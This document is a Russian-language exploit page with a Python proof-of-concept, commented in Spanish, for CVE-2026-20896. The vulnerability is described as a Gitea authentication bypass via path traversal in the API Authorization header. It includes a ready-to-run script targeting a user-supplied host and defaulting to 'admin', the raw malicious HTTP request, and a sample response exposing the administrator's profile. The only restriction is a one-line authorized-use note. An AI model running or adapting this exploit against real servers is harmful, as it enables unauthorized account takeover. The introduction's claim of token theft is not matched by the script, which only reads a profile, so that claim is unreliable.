
Автоматизированный PoC-эксплойт для CVE-2026-20896, обход аутентификации Gitea через directory traversal в заголовке авторизации API, позволяющий кражу административного токена.
Этот скрипт автоматизирует эксплуатацию ошибки логики в проверке путей API Gitea, позволяя принудить сервер выдать действительный административный токен с помощью атаки с обходом каталога (Directory Traversal) в заголовке авторизации.
#!/usr/bin/env python3
# PoC: Gitea Authentication Bypass (CVE-2026-20896)
# Uso exclusivo para entornos controlados y auditorías autorizadas (CTF)
import requests
import sys
import argparse
def expone_bypass(target_ip, username):
print(f"[*] Iniciando ataque contra el servidor Gitea: {target_ip}")
# URL del endpoint vulnerable de la API
url = f"http://{target_ip}/api/v1/user"
# Construcción del payload de evasión aprovechando el fallo de lógica en las rutas
# El servidor concatena mal la ruta del token permitiendo saltar al perfil objetivo
payload_token = f"../../../../api/v1/users/{username}/tokens/spoof_bypass"
cabeceras = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0)",
"Authorization": f"token {payload_token}",
"Accept": "application/json"
}
try:
# Enviamos la solicitud HTTP maliciosa
respuesta = requests.get(url, headers=cabeceras, timeout=10)
# Si el servidor responde con 200 OK, la evasión fue exitosa
if respuesta.status_code == 200:
print("[+] \033[92m¡Vulnerabilidad explotada con éxito!\033[0m")
datos_usuario = respuesta.json()
print(f"[+] Sesión secuestrada del usuario: {datos_usuario.get('username')}")
print(f"[+] Correo asociado: {datos_usuario.get('email')}")
print(f"[+] ID de cuenta en base de datos: {datos_usuario.get('id')}")
return True
else:
print(f"[-] El servidor respondió con código: {respuesta.status_code}")
print("[-] Intento de bypass rechazado o parcheado.")
return False
except requests.exceptions.RequestException as e:
print(f"[!] Error de conexión con el objetivo: {e}")
sys.exit(1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC CVE-2026-20896 - Gitea Bypass")
parser.add_argument("-t", "--target", required=True, help="IP o dominio del servidor Gitea")
parser.add_argument("-u", "--user", default="admin", help="Usuario objetivo a suplantar (Por defecto: admin)")
args = parser.parse_args()
expone_bypass(args.target, args.user)
При выполнении вышеуказанного скрипта мы можем перехватить запрос в Proxy, чтобы проверить, как бэкенд обрабатывает вектор атаки без необходимости наличия действительной подписи:
GET /api/v1/user HTTP/1.1
Host: 192.168.0.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Authorization: token ../../../../api/v1/users/admin/tokens/spoof_bypass
Accept: application/json
Connection: close
Ответ сервера (уязвимого):
Сервер обрабатывает содержимое из-за ошибки нормализации строки токена, возвращая объект JSON профиля администратора с кодом 200 OK:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
X-Frame-Options: SAMEORIGIN
{
"id": 1,
"username": "admin",
"login": "admin",
"full_name": "Administrador del Sistema",
"email": "[email protected]",
"avatar_url": "http://192.168.0",
"is_admin": true,
"last_login": "2026-07-01T15:22:01Z"
}